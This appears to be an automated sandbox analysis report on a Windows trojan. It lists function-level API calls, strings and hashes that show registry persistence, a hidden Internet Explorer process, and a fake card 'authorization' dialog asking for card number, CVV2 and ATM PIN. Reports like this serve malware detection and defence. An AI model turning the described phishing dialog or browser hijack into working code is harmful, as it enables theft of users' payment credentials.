Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3
D, xrefs: 00405334
\Iexplore.exe , xrefs: 004052EC
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
7O{M, xrefs: 0040513F
Path, xrefs: 00405250
IEFrame, xrefs: 004053F2
X-okRecv11, xrefs: 00405458

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

D, xrefs: 00405D39
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
MicroSoft-Corp, xrefs: 00405DB9
\Iexplore.exe , xrefs: 00405CEB
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
Path, xrefs: 00405C90
IEFrame, xrefs: 00405DE8
X-okRecv11, xrefs: 00405E3F

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
